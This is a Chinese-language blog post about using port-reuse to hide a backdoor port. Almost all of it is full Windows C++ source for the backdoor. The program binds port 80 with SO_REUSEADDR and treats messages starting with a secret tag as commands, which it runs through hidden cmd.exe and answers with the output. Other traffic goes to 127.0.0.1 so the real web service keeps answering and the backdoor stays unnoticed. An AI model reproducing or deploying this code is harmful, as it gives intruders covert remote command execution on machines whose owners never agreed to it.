1. 程式人生 > >安全之路 —— 利用端口復用技術隱藏後門端口

安全之路 —— 利用端口復用技術隱藏後門端口

mil *** zcm 一位 標識 creator process count handle

簡介

前面我們介紹到我們可以用進程註入的方法,借用其他應用的端口收發信息,從而達到穿墻的效果,那麽今天介紹一種新的方法,叫做端口復用技術,他能夠與其他應用綁定同一個端口,但同時進行端口復用的程序會接管之前程序的信息接受權,所以我們在復用端口後,要對非後門信息通過127.0.0.1本機回環地址進行消息轉發。

C++代碼樣例

/////////////////////////////////////////
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口復用後門(單管道)
// Editor : Visual Studio 2017
//
/////////////////////////////////////////


/***************************************************************/
/*  註:WSASocket初始化的Socket無法通過setsockopt函數設置接收超時 */
/***************************************************************/

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#pragma once
#define MAX_COUNT 255       //字符串最大長度
#define MAX_CONN_COUNT 1024 //最大連接數

typedef struct ThreadParam {  //SocketProc多線程結構體
    SOCKET sClient;
    sockaddr_in addr;
}tP;

const DWORD dwPort = 80;                        //端口號
const CHAR szTagContent[MAX_COUNT] = "peter-";  //連接標識
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 連接標識長度


/**
 * @brief 字符串切片
 * @param str1 源字符串
 * @param str2 結果字符串
 * @param dwBeginCount 數組下標起始值
 * @param dwEndCount 數組下標的最終值(取到前一位)
 */
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{
    if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
    {
        return;
    }
    for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
    {
        str2[j] = str1[i];
    }
    return;
}

/**
 * @brief 管道數據監控
 * @param sClient 客戶端Socket對象
 * @param hOutputPipe 輸出管道
 */
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{
    DWORD dwTotalAvail = 0;
    DWORD dwReadLength = 0;
    CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";
    ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
    send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
    ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
    return;
}

/**
 * @brief 打開Shell
 * @param sClient 客戶端Socket對象
 * @param szRecvBuffer 字符串接收緩沖區
 */
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{
    HANDLE hInputPipe, outputPipe;
    CHAR szCmdLine[MAX_COUNT] = "\0";
    CHAR szSendData[MAX_COUNT] = "\0";
    if (strlen(szRecvBuffer) <= dwTagLength)
    {
        send(sClient, "None", 5, 0);
        return;
    }
    StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
    Sleep(200);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.hStdError = hInputPipe;
    si.hStdOutput = hInputPipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(szSendData, sizeof(szSendData));
    StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");
    StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
    CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, 10000); //最遲等待10秒後返回,防止命令無回顯情況發生
    DataMonitor(sClient, outputPipe);
    return;
}

/**
 * @brief 客戶端Socket處理
 * @param lpParam ThreadParam參數結構體
 */
DWORD WINAPI SocketProc(LPVOID lpParam)
{
    SOCKET sClient = ((tP*)lpParam)->sClient;
    CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";
    SOCKET sNative;
    sockaddr_in saiNativeAddr;
    CHAR szTip[] = "\r\nPeterBD>";
    struct timeval optNativeValue;
    saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    saiNativeAddr.sin_family = AF_INET;
    saiNativeAddr.sin_port = htons(dwPort);
    sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sNative == INVALID_SOCKET)
    {
        closesocket(sClient);
        return 0;
    }
    optNativeValue.tv_sec = 1;
    optNativeValue.tv_usec = 0;
    if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //設置接收超時
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止對方為打開復用目標端口,導致無法數據轉發
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    while (TRUE)
    {
        send(sClient, szTip, (size_t)strlen(szTip), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (ret == SOCKET_ERROR)
        {
            break;
        }
        if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
        {
            StartShell(sClient, szRecvBuffer);
            continue;
        }
        send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (strlen(szRecvBuffer))
        {
            send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        }
    }
    closesocket(sClient);
    closesocket(sNative);
    return 0;
}

/**
 * @brief 主函數
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in saiServerAddr;
    in_addr iaTempAddr;
    tP *tp[MAX_CONN_COUNT];
    HANDLE hThreadPool[MAX_CONN_COUNT];
    int connCount = 0;
    int s_ClientAddrSize = 0;
    CHAR szHostName[MAX_COUNT] = "\0";
    if (WSAStartup(0x0202, &wsd))
    {
        return 0;
    }
    gethostname(szHostName, sizeof(szHostName));
    HOSTENT *hostInfo = gethostbyname(szHostName);
    saiServerAddr.sin_family = AF_INET;
    saiServerAddr.sin_port = htons(dwPort);
    memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //監聽第一張網卡ip,如果必要的話,可以切換網卡或自定義本地ip
    saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
    sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
    int dwOptVal = 1;
    if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //設置為端口復用模式
    {
        return 0;
    }
    if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
    {
        return 0;
    }
    while (connCount < MAX_CONN_COUNT)
    {
        tp[connCount] = (tP*)malloc(sizeof(tP));
        s_ClientAddrSize = sizeof(tp[connCount]->addr);
        tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
        hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
        connCount++;
    }
    WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
    for (int i = 0; i < connCount; i++)
    {
        CloseHandle(hThreadPool[i]);
        closesocket(tp[i]->sClient);
    }
    closesocket(sServer);
    WSACleanup();
    ExitProcess(0);
    return 0;
}

安全之路 —— 利用端口復用技術隱藏後門端口